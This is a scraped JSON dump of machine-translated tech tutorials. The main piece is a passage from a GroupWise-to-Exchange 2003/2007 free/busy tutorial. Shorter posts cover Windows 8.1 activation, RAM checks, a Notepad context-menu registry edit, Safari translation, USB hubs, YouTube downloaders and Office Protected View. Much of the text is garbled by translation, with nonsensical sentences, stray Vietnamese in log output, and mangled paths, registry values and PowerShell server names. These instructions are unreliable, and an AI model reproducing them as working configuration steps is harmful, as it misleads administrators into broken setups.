5.5x, 6.x and 6.5x.\n Novell GroupWise 7 versions are not tested with Exchange components listed in this section. Therefore Novell GroupWise version 7 is not supported.\n There will be no support for Novell GroupWise versions with the Connector or Migration Tools from other Microsoft Exchange Server versions.\n The final note is the most important note. There is no need to support GroupWise's collaboration capabilities within Exchange 2007 or any later version of Exchange.\nAs far as we know about this statement is irreversible and:\nThere will be no GroupWise connector for Exchange 2007.\n Exchange 2003 is not supported outside GroupWise 6.5.\n That statement implies that if you want to switch from GroupWise to Exchange Server 2007 you need to use an Exchange 2003 Server and in a GroupWise 7 environment you need to install an additional GroupWise 6.5 Post Office to manage the GroupWise API.\nLogs that allow a clear distinction of collaboration capabilities between 2003 Service Pack 2 and GroupWise 7 still work, although it is not officially supported and uses an unsupported transition to include out anticipated risks in conversion projects.\nWith the content of this series we will use\nExchange 2003 Service Pack 2\n GroupWise 7 on Netware 6.5\n Here we have not made any changes to the basic Exchange 2003 installation.\nBefore going into the issue, we have to show a small adjustment. In the second part of this series, we configured the API gateway and both External Foreign Domain with the same name. We called both Exchange .\nWe still call the External Foreign Domain as Exchange because it is related to Exchange's recipient policy. To distinguish the difference between the DNS objects we selected and call Gateway GW2MEX .\nGroupWise and Exchange 2003\nIn Part 4 of this series, we configured the Calendar Connector to work with the Microsoft Connector for Novell GroupWise. We initialize the API and all Microsoft Exchange services, and also know what can be guaranteed that both the API and these services are properly initialized.\nNext we will set up our system to be able to check information flows between Exchange and GroupWise to see what happens when performing a free / busy search between systems.\nIn Part 4 we created the register DWRY etry with the name Archive and the value is 1 in HKLMSYSTEMCurrentControlSetServicesLME-GWISEParameters on the Exchange Server running the connector. This creates a copy that stores all rotation messages between GroupWise and Exchange through the Program FilesExchsrvrconndatagwrouter directory structure .\nWe have also followed the instructions on how to write Exchange's Connectivity Controller Connector to increase logging. For the purposes of this article, we will change the diagnostic diagnostic levels for MSExchangeCalCon to Maximum for all items as shown in Figure 1.\n  Figure 1: Set logging level for MSExchangeCalCon objects\nWithout the need to simulate a lot of troubleshooting issues that are available a lot, we'll show you what happens when you request free / busy information between Exchange and GroupWise.\nThere are two directories on the Exchange server within the conndatagwrouter that have been used to handle free / busy requests and responses. The directories are togwise and freebusy.\nWithin the GroupWise API, there are also two directories used, wpgateAPIAPI_IN and wpgateAPIAPI_OUT\nFinally within GroupWise itself, there are also WPCSIN and WPCSOUT folders .\nThe message flow between Exchange and GroupWise is sent through all these 6 directories, as shown in diagram 1 for requests and free / busy responses.\n  Diagram 1: Six directories are used to handle Free / Busy requests\nFree / Busy requests from Exchange to GroupWise are placed in the togwise folder , and the Router for Novell GroupWise passes those messages to the API_IN folder within the API directory structure. From here, the new API gateway handles the message and passes it to WPSCIN , where it is selected and processed by GroupWise MTA.\nIn the opposite direction, messages from GroupWise to Exchange started in WPCSOUT , which is where they are chosen by the API gateway and are passed to API_OUT and then transmitted by the Router to Novell GroupWise to the freebusy directory.\nThis is a fairly simple process. Both free / busy requests and responses from Exchange to GroupWise use the same path, as does the reverse process.\nWith the stored registry editing done in part 4, we can keep a record of all notifications from togwise and freebusy directories , besides that we will be able to check the requests and the reply.\nCheck Outlook\nWe found the simplest way to test free / busy from GroupWise into Exchange is how to use the Group Schedule. We will run Outlook 2003 on Windows XP SP2.\nIn Outlook 2003 we created a group schedule called GroupWise, as shown in Figure 2, and added all GroupWise users as shown in the Exchange global address list.\n  Figure 2: Name of Group Schedule in Outlook\nWhen opening the Group Schedule for GroupWise, the following problems will appear.\nFor each GroupWise user in the Group Schedule, Outlook will query the Public + free / busy public folder to retrieve free / busy information.\nDepending on the properties configured on the General tab of the Calendar Connector as shown in Figure 3, Exchange will provide direct free / busy information to Outlook if it is stored and is less than 15 minutes or if information is available. is not displayed in the free / busy public folder or it has sent the request more than 15 minutes since it started with GroupWise.\n  Figure 3: The General tab of the Calendar Connector shows the maximum Free / Busy storage time\nThese free / busy requests can be observed in the Program FilesExchsrvrconndatagwrouterarchivetogwise folder\nFor example, a simple free / busy query for Ian West will create a file called EGW4C.api in the togwise folder .\nIf we observe the API gateway on the GroupWise server by writing a diagnostic error set to Verbose , you can see EGW4C.API processed as a message being sent as shown in Figure 4.\nWe can see the correspondence sent after 15 minutes.\n  Figure 4: API is processing a Free / Busy request\nIf we select the Outlook option to Refresh free / busy within 15 minutes for this root communication session, no additional messages will be sent or received between the two systems, and free / busy information will be available. The presentation will be retrieved from the free / busy public folder.\nWhen API diagnostic Logging is set to Diag (F10, then F2, F1), there will be additional information presented in the log files saved in the wpgateAPI00.PRC folder .\n03-29-08 18:40:35 Processing inbound message - File: EGW4C.API 03-29-08 18:40:35 Msg-ID: AAKEIJEI: 2008.3.29.18.41: 2008.5.28.19.41: 2008.3.29.18.41.37; . 03-29-08 18:40:45 Processing outbound messages . . 03-29-08 18:40:45 Orig-Msg-ID = AAKEIJEI: 2008.3.29.18.41: 2008.5.28.19.41 : 2008.3.29.18.41.37;\nMsg-ID: and Orig-Msg-ID = are equivalent and are in the saved EGW4C.api file.\nWPC-API = 1.2; MSG-TYPE = Search; Msg-ID = AAKEIJEI: 2008.3.29.18.41: 2008.5.28.19.41: 2008.3.29.18.41.37 ; From = WPD = dom1; WPPO = GW2MEX; WPU = EXCHANGE2003-SA; CDBA = dom1.GW2MEX.EXCHANGE2003-SA; ; To = WPD = DOM1; WPPO = PO1; WPU = Iain; CDBA = DOM1.PO1.Iain; ; Begin-Time = March 29, 2008 18:41; End-Time = 28/5/2008 19:41; -END-\nThe free / busy request contained in the EGW4C.api file is taken from the gwroutertogwise folder located in Exchange Server, and distributed to the wpgateAPIAPI_IN folder in GroupWise Server. The API then realizes that the notification type is a search.\nMSG-TYPE = Search;\nand distribute it to GroupWise for processing\nGroupWise handles the message and the response is placed in the API_OUT directory , which is where it is picked up by the Microsoft Exchange Router for Novell GroupWise and transferred to the gwrouterfreebusy directory .\nThe response to the free / busy request is the same as what you see below.\nWPC-API = 1.2; Header-Char = T50; Msg-Type = SEARCH; Orig-Msg-ID = AAKEIJEI: 2008.3.29.18.41: 2008.5.28.19.41: 2008.3.29.18.41.37; To = CDBA = dom1.GW2MEX.EXCHANGE2003-SA; ; Busy-For = CDBA = DOM1.PO1.Iain; Busy-Report = Start-Time = 29/3/08 0:00; End-Time = March 31, 2008 8:00; , . . . Start-Time = 5/28/08 17:00; End-Time = 5/29/08 0:00; ; Send-Options = None; -END-\nThe 60-day period for the start and end time in this file, this is the default setting for the number of days for the required free / busy information coming from external calendars set on the General tab. of the Calendar Connector shown in Figure 3 and as extracted below Figure 5.\n  Figure 5: A citation from the Calendar connector's General tab shows the limit for a free / busy time limit of 60 days\nAs described in detail in PSS Article ID: 304726 'XFOR: Exchange Calendar Connector Free-Bus-Searches and Busy Searches from 5:00 PM Through 8:00 AM' This information marks busy GroupWise users from 17: 00 to 08:00 by day and sometimes busy all week.\nAs a result, the free / busy information displayed in the Group Schedule for GroupWise users will be as shown in Figure 6.\n  Figure 6: GroupWise user's Free / Busy information viewed in Outlook\nThis is a confirmation that free / busy from Outlook / Exchange to GroupWise is working.\nTest in GroupWise\nFrom within the GroupWise client, select New Appt as shown in Figure 7.\n  Figure 7: Create a new meeting in the GroupWise client\nThen select Busy Search as shown in Figure 8.\n  Figure 8: Creating a 'busy search' on a GroupWise client\nClick Invite to Meeting . as shown in Figure 9.\n  Figure 9: Invite another user to the meeting on the GroupWise client\nFinally type the user's name as shown in Figure 10 and click OK.\n  Figure 10: Enter the Exchange username to add to the meeting\nOn the GroupWise PO running the API you can see the outgoing message following the corresponding response after 5 seconds as shown in Figure 11.\n  Figure 11: API is processing the Free / Busy request sent\nReturning to the GroupWise client, the free / busy state changes from Response Pending as shown in Figure 12.\n  Figure 12: Free / Busy requests are in the standby phase on the GroupWise client\nAvailable as shown in Figure 13.\n  Figure 13: Free / Busy request changed to Available on GroupWise client\nAt this point, we can see the information displayed in the Individual Schedule Grid as shown in Figure 14.\n  Figure 14: Free / Busy information displayed in Individual Schedule Grid on the GroupWise client\nWe can look at the freebusy directory on the Exchange server to find a free / busy request from GroupWise, and we can also find the response in the togwise directory .\nFree / busy request sent from GroupWise:\nWPC-API = 1.2; Header-Char = T50; Msg-Type = SEARCH; \n From-Text = Matt Dunkin; From = \n WPD = DOM1; WPPO = PO1; WPU = Matt; \n FN = Matt; LN = Dunkin; S = Dunkin; G = Matt; ; To = \n WPD = Exch; WPPO = First Administrative Group; WPU = Flavia; \n WPPONUM = 1; WPUNUM = 1; FN = Flavia; LN = Wright; UD5 = Microsoft Exchange Connector for Novell GroupWise; S = Wright; G = Flavia; CDBA = 0001: 0001; ; All-To = WPD = Exch; WPPO = First Administrative Group; WPU = Flavia; WPPONUM = 1; WPUNUM = 1; FN = Flavia; LN = Wright; UD5 = Microsoft Exchange Connector for Novell GroupWise; S = Wright; G = Flavia; , WPD = DOM1; WPPO = PO1; WPU = Matt; WPPONUM = 2; WPUNUM = 1; FN = Matt; LN = Dunkin; S = Dunkin; G = Matt; ; Msg-Id = 47EFC6FC.B99A.04EB.000; To-Text = Flavia.First Administrative Group.Exch, Matt.PO1.DOM1@demo.local ; Subject = BUSY SEARCH: Flavia Wright, Matt Dunkin; \n Date-Sent = 30/3/08 17:59; Security = Normal; Send-Options = None; Status-Request = Opened; Begin-Time = March 31, 2008 0:00; \n End-Time = 7/4/08 0:00; \n Msg-Priority = Normal; -END-\nAnd respond accordingly from Exchange:\nWPC-API = 1.2; MSG-TYPE = Search; Orig-Msg-ID = 47EFC6FC.B99A.04EB.000; To = WPD = DOM1; WPPO = PO1; WPU = Matt; ; Busy-For = CDBA = 0001: 0001; ; Busy-Report = Start-Time = March 31, 2008 9: 0; End-Time = March 31, 2008 12: 0 ;, Start-Time = March 31, 2008 13: 0; End-Time = March 31, 2008 17: 0 ;, Start-Time = 1/4/2008 14: 0; End-Time = 1/4/2008 16: 0; ; -END-\nThere is some information contained in files that have been transferred between Exchange and GroupWise worth mentioning.\nBy default Exchange requires 60 days of free / busy.\nBegin-Time = March 29, 2008 18:41; End-Time = 28/5/2008 19:41;\nIn contrast, GroupWise only requires 7 days\nBegin-Time = March 31, 2008 0:00; End-Time = 7/4/08 0:00;\nAlso note that the free / busy request from Exchange is sent by the system attached.\nWPU = EXCHANGE2003-SA;\nThis is quite important because the attached system requires GWISE proxy address or the process will not work. This is why we recommend you in Part 4 that you simply change the Default Recipient Policy in Exchange.\nFinally, if you've followed the instructions in the tutorial on how to enable Exchange's Connectivity Controller Connector and created a directory of logs in conndata, the log files in this directory will provide lots of information. believe for you to be able to study in depth and can assist in troubleshooting.\nRun in Console mode\nIf you follow all of the above instructions, your system will work. However, a useful method can allow you to get a closer look at what's happening under the scene is to run the calendar connector in console mode on the Exchange server. This problem is done by running Calcon.exe from the Exchsrvrbin folder .\nSome key information to keep in mind is given below\n[00000D70]: The Calendar Connector will process calendar requests to \"Schedule + Free Busy Information - first administrative group\" folder system trên theo sau máy phục vụ: EXCHANGE2003\nThis information tells us which free / busy public directory the calendar connector is expecting to use. We need to make sure that the free / busy information for the first administrative group is copied to EXCHANGE2003.\n[00000D70] (Debug): API_IN Directory is 'C: Program filesExchsrvrconndatagwroutertogwise' [00000D70] (Debug): API_OUT Directory is 'C: Program FilesExchsrvrconndatagwrouterfreebusy'\nThese two lines confirm the directory association between togwise and API_IN, between freebusy \u0026nbsp; and API_OUT as shown in Figure 2.\n[00000D70]: The Calendar Connector has been logged on \"Schedule + Free Busy Information - first xử lý nhóm\" thư mục hệ thống với EXCHANGE2003 để xử lý các thư mục của cơ sở dữ liệu site trước trước nhóm. [00000D70]: The Calendar Connector has logged on the \"Schedule + Free Busy Information - first administrative group\" system folder on EXCHANGE2003 to submit calendar query responses.\nThese two lines confirm that the Calendar Connector was successfully logged into the Schedule + Free Busy folder for the first administrative group, so submit and handle queries for free / busy information.\nExchange 2007\nHow to change with Exchange 2007? Absolutely, we installed Exchange 2007 into our Exchange 2003. Used a multi-role Exchange 2007 server, running mailbox, CAS and Hub Transport.\nWe moved the Exchange 2003 mailboxes using Move Mailbox options . from the Exchange Management Console.\nImmediately, both notification threads are still active. The Free / busy lookup from GroupWise to Exchange also works, but initially, free / busy Exchange to GroupWise does not work.\nWe used the following PowerShell commands to add the Exchange 2007 server to the replication public folders. In the commands below, the Exchange 2003 server name is EXCHANGE2003 and the public folder database on this server is Public Folder Store (EXCHANGE2003)\nSet-PublicFolder –Identity 'NON_IPM_SUBTREESCHEDULE + FREE BUSYEX: / o = Company / ou = First Administrative Group' –Replicas ' EXCHANEG2003 Public Folder Store (EXCHANGE2003) ' Set-PublicFolder –Identity 'NON_IPM_SUBTREESCHEDULE + FREE BUSYEX: / o = Company / ou = Exchange Administrative Group (FYDIBOHF23SPDLT)' –Replicas' EXCHANEG2003 Public Folder Store (EXCHANGE2003) \"\nFree / busy lookup between GroupWise 7 and Exchange 2007 through the Exchange 2003 Calendar Connector does not work in either direction at this time!\nSo we have to do?\nEach free / busy lookup request is sent separately. For example, have a Group Schedule with 14 GroupWise mailboxes. When refreshing free / busy information, 14 mailboxes will generate 28 messages between Exchange and GroupWise.\nDepending on the API Gateway 's time settings explicitly the Idle Sleep Duration, as shown in Figure 15, (you can enter by right-clicking on the GW2MEX Gateway object in NetWare Administrator and selecting Details . ) one of these free / busy conversations can take any 10 to 15 seconds. With 14 mailboxes, when refreshing free / busy information it will take up to 2 minutes.\n  Figure 15: Setting Idle Sleep Duration of API Gateway\nConclude\nIn Part 5, we have demonstrated that it is possible to obtain Free / busy information when transferring between GroupWise and Exchange, we recommend that you use or rely on it only a little if any. can. This is a non-scalable and fair process that can also cause sudden stop problems, or something that may require restarting the connector for repair. However, collaboration groups have the ability to share free / busy information at the same time and keep the full ability to work as much as possible!\nncG1vNJzZmismaXArq3KnmWcp51ktLO71KmuoquVYsGwecSxmqGZnpyybn6PaW5moZ6psrO7z56pmpqZoba1xYyapZ1lpKeur7%2FFqKmmmaSevK95z5qprWVl\n","link":"/post/groupwise-to-exchange-2007-interoperability-and-transformation-part-5/","section":"post","tags":null,"title":"GroupWise to Exchange 2007 - Interoperability and transformation (Part 5)"},{"body":" When you first acquire Windows 8.1 you will need to activate it within a specific time period for you to continue using it. Activating the program is simple, with the instructions and activation key already included in the installer's...\nPart 1of 2:\nRecovering a Lost Key  Download a key retrieval program. Your Windows Product key is buried in the registry, but it can be easily extracted by using a free key retrieval program. Two of the most popular options are ProductKey and Key Finder. Both of these programs are free and can be downloaded from the developers' websites. Both offer paid versions, but your Windows key can be retrieved with the free version.   Start the key retrieval program. You typically will not need to install the program. Simply run it and a list of available keys will be displayed. Find the \"Windows\" entry to find your key.\n  Write the key down or copy it. Your key will be listed as \"Product Key\" or \"CD Key\". The Windows Product Key is 25 characters split into five groups of five characters each.\n Part 2of 2:\nActivating Windows 8.1  Open the Activation window. Open the Activation window by pressing ⊞ Win+R and typing slui 3. Press ↵ Enter to open the window.\n  Enter your product key. Enter the key that you either recovered, received with your Windows purchase, or is affixed to your computer on a sticker. You do not need to type the dashes, as they will be added automatically. Windows will automatically attempt to activate as soon as the key is entered.\n  Try the Command Prompt. If the steps above don't work, you can try to enter the key through an elevated Command Prompt. Press ⊞ Win+X and select \"Command Prompt (Admin)\". Type slmgr.vbs /ipk XXXXX-XXXXX-XXXXX-XXXXX-XXXXX and press ↵ Enter, replacing the XXXXXs with your product key. Be sure to include the dashes. A window should appear saying \"Installed product key XXXXX successfully.\" Type slmgr.vbs /ato and press ↵ Enter. A window should appear saying \"Activating Windows(R) Your Edition\". After a moment, if activation was successful, it will say \"Product activated successfully\".   Call Microsoft if you still can't activate. If you are still having activation issues, you can call the Microsoft automated activation service. To find the number for your area, press ⊞ Win+R and type slui 4. This will open the window with the contact information as well as your installation ID. Make sure to copy down the installation ID, as you will need to enter it over the phone. It's long, but necessary to identify your computer.[1]   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZLChnpm8uL%2BMcWhmnp%2Bneqe%2BxJ4%3D\n","link":"/post/how-to-activate-windows-8-1-for-free/","section":"post","tags":null,"title":"How to Activate Windows 8.1 for Free"},{"body":"Sometimes you want to know the speed and type of system memory (RAM) just installed on your computer without opening the case or installing third-party software, so what to do? This article will show you a few different ways to check the type (DDR), capacity (GB) and speed (MHz) of RAM.\n13 easy ways to free RAM make the machine run faster How to check the type, capacity and speed of RAM 1. Check the capacity and type of RAM in Task Manager 2. Check the type, capacity and speed of RAM in Command Prompt 3. Check the amount of RAM in Settings 4. Check the amount of RAM in the Control Panel 5. Check the amount of RAM in System Information 1. Check the capacity and type of RAM in Task Manager Step 1 . Open Task Manager in More details .\nStep 2 . Click on the Performance tab and click on Memory .\nStep 3 . Here, you will see the capacity (eg 32.0 GB) and the type of RAM (eg DDR3) in the top right corner.\n4 simple ways to check the configuration and hardware information of computers and laptops   2. Check the type, capacity and speed of RAM in Command Prompt Step 1 . Open Command Prompt.\nStep 2 . Enter the following command into Command Prompt and press Enter .\n wmic MemoryChip get BankLabel, Capacity, MemoryType, Speed, Tag  Or order\n wmic MemoryChip get / format: list  Step 3 . You will see details about RAM here.\n2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate   Memory information\nDescribe\nBankLabel\nThe location of the RAM chip is installed.\nCapacity\nTotal capacity of physical memory in bytes\nMemoryType\nType of RAM\n0 = Unknown\n1 = Other\n2 = DRAM\n3 = Synchronous DRAM\n4 = Cache DRAM\n5 = EDO\n6 = EDRAM\n7 = VRAM\n8 = SRAM\n9 = RAM\n10 = ROM\n11 = Flash\n12 = EEPROM\n13 = FEPROM\n14 = EPROM\n15 = CDRAM\n16 = 3DRAM\n17 = SDRAM\n18 = SGRAM\n19 = RDRAM\n20 = DDR\n21 = DDR2\n22 = DDR2 FB = DIMM\n24 = DDR3\n25 = FBD2\nSpeed\nPhysical memory speed calculated in MHz.\nTag\nUnique socket identifier of physical memory 3. Check the amount of RAM in Settings Step 1 . Open Settings and click on System .\nStep 2 . Click on About on the left and see the size of Installed RAM on the right.\n  4. Check the amount of RAM in the Control Panel Step 1 . Open Control Panel and click on System icon.\nStep 2 . See capacity in Installed memory (RAM) in the System section.\n  5. Check the amount of RAM in System Information Step 1 . Press Windows + R key to open Run , type msinfo32 in the search box and click OK.\nStep 2 . Click on System Summary on the left and see the capacity in Installed Physical Memory (RAM) on the right.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedGapGaroJqypXnTsqeeZZGjsW6vwKmYnKGkrnqwsoyrmKY%3D\n","link":"/post/how-to-check-ram-speed-type-and-capacity-of-ram/","section":"post","tags":null,"title":"How to check RAM speed, type and capacity of RAM"},{"body":"If you often have to edit documents and documents, you will definitely think of Microsoft Word software. However, if the need for text is not much, there is no need to edit the Notepad software right on the computer is the choice of many people. And if you use Notepad regularly, why not try opening the Notepad with Notepad right away when you click the right-click menu file? In this article, we will show you how to add Open With Notepad when you right click to open the file.\nStep 1: First of all, press the Windows + R key combination to open the Run window. Then enter the regedit keyword and click OK to access the Registry Editor.\n  Step 2: In the Registry Editor interface, open the folder under the HKEY_CLASSES_ROOT path \u0026gt; *\u0026gt; shell .\n  Step 3: We right- click on the shell folder and select New and select Key .\n  Step 4: Name this new folder Open With Notepad .\n  Step 5: Also at that interface, right- click Open With Notepad and select New and finally select Key .\n  Step 6: We will name the command directory.\n  Step 7: In the Default file on the right, you left click and enter Notepad.Exe% 1 in Value data as shown below, then click OK to save the changes.\n  Now we try to open the text file or document and right-click will see Open With Notepad appear.\n  Thus, we can quickly open the document with Notepad immediately when clicking on the right-click menu with the command Open With Notepad. The operations are simple and fast.\nRefer to the following articles: Fix the display error and cannot save Vietnamese in Notepad Convert OpenOffice ODT text format into Microsoft Word DOC Remove PDF file password in 3 steps I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmpqmdnmLBqbGMnZitmV2btq2xjLCgraBdqbWmec2oq56okZl6prDIraar\n","link":"/post/how-to-quickly-open-the-data-file-with-the-notepad-editor/","section":"post","tags":null,"title":"How to quickly open the data file with the Notepad editor"},{"body":"For iOS devices, Safari is set to be the default web browser. However, this web browser does not have a built-in translation feature, so users will experience some difficulties accessing foreign websites. Therefore, in order to translate any web page on Safari, we must use the third application.\nMicrosoft Translator is a professional translation application with many useful features. Users can conduct translation work via voice, text, images. In addition, Microsoft Translator also supports language switching for making voice calls. Steps to set up Microsoft Translator to translate web pages in Safari will be included in the tutorial below.\nStep 1: First of all, we will download the Microsoft Translator application for iPhone / iPad devices according to the link below.\nDownload the Microsoft Translator iOS application Step 2: After downloading the application and proceeding to launch, we will come to the application's terms interface, click OK . Next to Microsoft Translator will require users to allow the use of Micro , click OK .\n   Step 3: Next, the user opens the Safari browser on the iPhone or iPad. At the website interface, click the square icon with the arrow mark in the middle of the bottom edge of the screen. App installed on the device, swipe to the right of the screen and then click the 3 dots icon to open more extensions.\n   Step 4: In the Activity interface we will see the Microsoft Translator application.Activate the application by swiping the horizontal bar to the right. Finally press the Done button in the top right corner of the interface. When returning to the Safari interface, you will see the Microsoft Translator application appear in the extensions section.\n   Step 5: The application will proceed to translate the default language according to the device's current location. However, you should set up to choose to change to many other languages, serving your language translation needs.\nAt the interface of the Microsoft Translator application, click the gear icon . Next click on Safari Translation Language (Language translated Safari).\nA list of languages ​​appears, click on the language you want to use.\n    Step 6: Next you visit a website on Safari. Click the arrow icon in the middle of the screen. Select Microsoft Translator translation tool in the next dialog box. Soon, the website will be translated into the language you selected in the Microsoft Translator language setting, which is Vietnamese.\n   We can also try other languages ​​such as French and see applications work effectively.\n   So we can translate any foreign website on Safri, using Microsoft Translator application. The application currently supports up to 60 different languages, with many language packs pre-installed. In particular, we can use the application offline or have an unstable Internet connection. But the offline translation capability will not work on Safari.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0uMCtnGavlZd6sa3Gnqpmp55iwKKywKugZpqipMS0sdFmrqKsmGK6qq%2FRqKqonqRiwbOtzayjmqyfpw%3D%3D\n","link":"/post/how-to-translate-web-pages-on-safari-browser-with-microsoft-translator/","section":"post","tags":null,"title":"How to translate web pages on Safari browser with Microsoft Translator"},{"body":"A USB hub (USB hub) is a useful way to get an additional USB port. They are mainly used for laptops with limited USB ports. If you intend to buy a USB hub, keep the following in mind.\nWhat to do when the computer does not recognize USB? How to diagnose and fix broken USB ports 16 ports commonly found on computers and their functions 1. Number of ports Suppose, you don't want to use a touchpad and laptop keyboard so naturally you would think that just a splitter has two ports, one for the mouse and one for the keyboard.\n  But take some time to think before you buy. Do you use USB to transfer data? If yes, which laptop is the other USB port to use for this USB? Therefore consider splitters with more than two ports. If not, you will need to remove the keyboard or mouse to use the memory card.\nThis way of thinking will prevent future troubles. You should consider USB hubs that have more ports than you need. If the price difference is not high, choose a kit with more USB ports to be able to use more peripherals and avoid trouble in the future.\n2. Power input of USB hub When purchasing a USB hub, you can choose between a hub that operates using the power of the original port or a splitter that uses an external power source. Previous options seem more attractive as they are usually cheaper than power outlets.\nHow to check the power of the USB port   However, consider devices that plug into the hub port without using an external socket. Each device consumes a specific amount of power from the USB port. When switching from a port to a hub, the total power limit of the computer port is divided by the ports on the USB hub.\nThis means that if the overloaded unit has no external power supply, some devices on the divider will not work. You can check the amount of splitter supported in the product description. The number associated with the symbol mA. Self-powered USB hubs are usually around 500mA.\nWhen there is a power limit, calculate the energy consumption for peripheral equipment. Sometimes this is indicated on the sticker on the underside of the peripheral device. For example, in the example above, the mouse is 100mA and the keyboard is 400mA, which is equal to the total operating current of 500mA. Thus a 500mA self-powered USB hub is appropriate but if an additional memory card is used, the whole setup will collapse.\n3. Power source of the USB hub   When choosing to buy a USB hub, take some time to think about its purpose. If you want the power adapter or device charger while turning off the computer, you should use an external power adapter.\n4. USB version of the USB hub When choosing to buy, you should also see the version of the hub. Some hubs use USB 2.0 to reduce costs, but this makes data transfer slower than USB 3.0 devices. Of course, if all your devices use USB 2.0, this is fine. However, if you have several 3.0 devices, you should consider buying a compatible hub.\nDifferentiate between USB 2.0 and USB 3.0 Hopefully these notes will help you buy the best USB hub for your intended use.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrimsc9moKdlnZ67pXnWoZynZZOdvLC%2FyKeeZqyfYq%2B2xYyaZK6rkmK1tq4%3D\n","link":"/post/things-to-keep-in-mind-when-choosing-to-buy-a-usb-hub/","section":"post","tags":null,"title":"Things to keep in mind when choosing to buy a USB hub"},{"body":"Select one of the below software to download Youtube video to your computer like IDM or Free YouTube Downloader . we can easily review Youtube videos through the video playback software on PC, each video download application on Youtube has different advantages for you to experience.\nOn the Internet today there are countless software that support downloading videos on Youtube, but not all software can meet all of your needs such as fast download speed, download all video formats . To download videos YouTube, you need to choose for yourself the best software, but this is difficult for people who rarely use computers\nThe best Youtube video downloader for PC In the article below are the best Youtube video downloader software and are chosen and used by a lot of people. You can still use IDM software, you can download files from youtube normally, but it will not support automatic conversion of the desired video format. If you already know how to download Facebook videos, then after this article, you will know how to download Youtube videos.\nTop 6 software to download Youtube Videos to your computer 1. Ytop1 software With Ytop1 you can download all Youtube videos to your computer with quality or high resolution, save videos in the most popular formats today and still retain the definition. Ytop1 is more special than other software that does not need to log in, it can still be downloaded for free, without ads, with unlimited capacity and the number of Youtube video downloads per day.\n- You just need to access the link below =\u0026gt; paste the URL of the Youtube video you need to download in the link field =\u0026gt; click Get Video Link and choose the quality and resolution of the desired video =\u0026gt; click Download Now and it's done.\n2. Free YouTube Downloader Free YouTube Downloader is an application capable of downloading FLV format videos online. Use this utility to download FLV Videos available on Youtube, Dailymotion, Vimeo, MetaCafe . and save them as AVI, MPEG, DIVX, MP3, MP4. PSP, MOV, FLV . In addition, you can use this utility to download many different Videos at the same time to save your time and effort, the downloaded Videos will be played immediately. immediately on the computer.\n- How to use Yotube Downloader\n+ Copy the URL of the Video to download and insert into the Enter a Youtube URL or select a file on your hard diver box.\n+ Select the format for the output video in the Output format and the resolution for the Video.\n+ Click Download to start the job.\n  3. Youtube Downloader HD True to its name, Youtube Downloader HD is a software that supports downloading high-quality videos available on Youtube with many different formats such as FLV (240p, HQ 360p or HQ 720p) and MP4 (average quality, HD 720p or full HD 1080p) . Not only that, you can use this utility to convert some of the basic video formats available.\nHow to use Youtube Downloader HD\n- After installing Youtube Downloader HD on your computer, copy the URL of the video to download and paste in the video URL frame: on the utility interface.\n- Select the video format you want to download at Video at Video Quality and choose the path of the folder containing the Video after downloading in the Save to section:\n- Click Download to start the job.\n  4. YTD Video Downloader YTD Video Downloader has the ability to download videos available on Web sites such as Youtube, Facebook, Google Video or Dailymotion . Videos downloaded will be automatically saved in MP4 format. In addition, this utility also allows you to convert the downloaded Videos to available formats such as FLV, MOV, MP4 or AVI.\nThe Videos after being downloaded from different websites all keep the available definition of Video with fast speed. In addition, this utility also has built-in Video Player entertainment software to help you categorize and organize your favorite videos to enjoy them at the same time.\nUsing\n- Copy the URL of the Video you want to download and insert into the Enter the URL of the Video you want to download box.\n- Select the path of the folder containing the Video after downloading in the Save to section and select the quality of the output video in Download quality.\n- Click Download to start the job.\n  5. IDM - Internet Download Manager Internet Download Manager is a famous downloader software, can download most popular Video formats and has download speed 5 times faster than other software. You can use this utility to download a lot of data, documents on the Internet, even movies, music videos available on Video sharing websites such as Youtube, Dailymotion, MetaCafe ., compatible with many Web browsers such as Internet Explorer, Google Chrome, Mozilla Firefox or Opera .\nUsing\n\n- After installing IDM on your computer, access the Video you want to download to your computer, click on the \"Download this Video\" pop-up window to download the video to your computer.\n  To learn more about how to use it, you should refer to how to quickly and effectively download youtube videos by IDM introduced by Taimienphi.vn in the previous articles.\n6. RealPlayer Similar to IDM, RealPlayer is not only a software for listening to music and watching movies online, but this utility also allows you to download thousands of Videos from famous Video sharing websites such as Youtube, Dailymotion or Vimeo with fast speed. . The downloaded Videos can be viewed on devices such as iPod, mobile phone, Xbox or PS3.\nUsing\nRight after installing Real Player on your computer, on each Video you want to download, a pop-up window \"Download This Video\" will appear, click on this window to download the Videos.\n  Above are 6 of the software that can download Videos available on shared websites such as Youtube, Dailymotion, Vimeo, MetaCafe . Youtube download ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG9kpqejqXqmssWemq2hppp6urvUraybnV2rtqWxzmabqK%2BeobyisMSrqg%3D%3D\n","link":"/post/top-6-most-effective-youtube-video-downloaders/","section":"post","tags":null,"title":"Top 6 most effective Youtube video downloaders"},{"body":"In recent versions of Office 2010, Office 2013 supports the Protected View feature. Protected View is a feature that only allows you to read documents, helping you avoid malware originating from the Internet.\n  You can turn on / off the Protected View feature in Office 2010, with Office 2013 similar to the steps below.\nStep 1: First, you need to open the application you want to turn on / off Protected View (Word, Excel, Power Point).\nStep 2: Select File -\u0026gt; Options .\n  Step 3: In Options, select Trust Center in the left menu.\n  Step 4: Next, select Trust Center Settings .\n  Step 5: In the left menu, select Protected View .\n  Step 6: In the Protected View section on the right, if you want to turn off Protected View , you deselect in the 3 squares as shown.\n  If you want to turn on the Protected View feature, check all 3 boxes.\n  Then choose OK to finish.\nHow to perform the turn on / off Protected View feature in Office is very simple, with other Office applications you do the same as with Microsoft Office Word in the previous article. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwba%2BzWamp2WRo7Fuu8WfZK2glWK9s7vTnpqtnZRiw6qx1madnpmkqr%2BmecinZKielp6wpnmRaWhpZWJlfnQ%3D\n","link":"/post/turn-on-and-off-the-protected-view-feature-in-office-2010-2013/","section":"post","tags":null,"title":"Turn on and off the Protected View feature in Office 2010, 2013"},{"body":"In 1925, French culinary critic Curnonsky declared that French cities were \" the culinary capital of the world .\" Unexpectedly, a decade later, all became true. 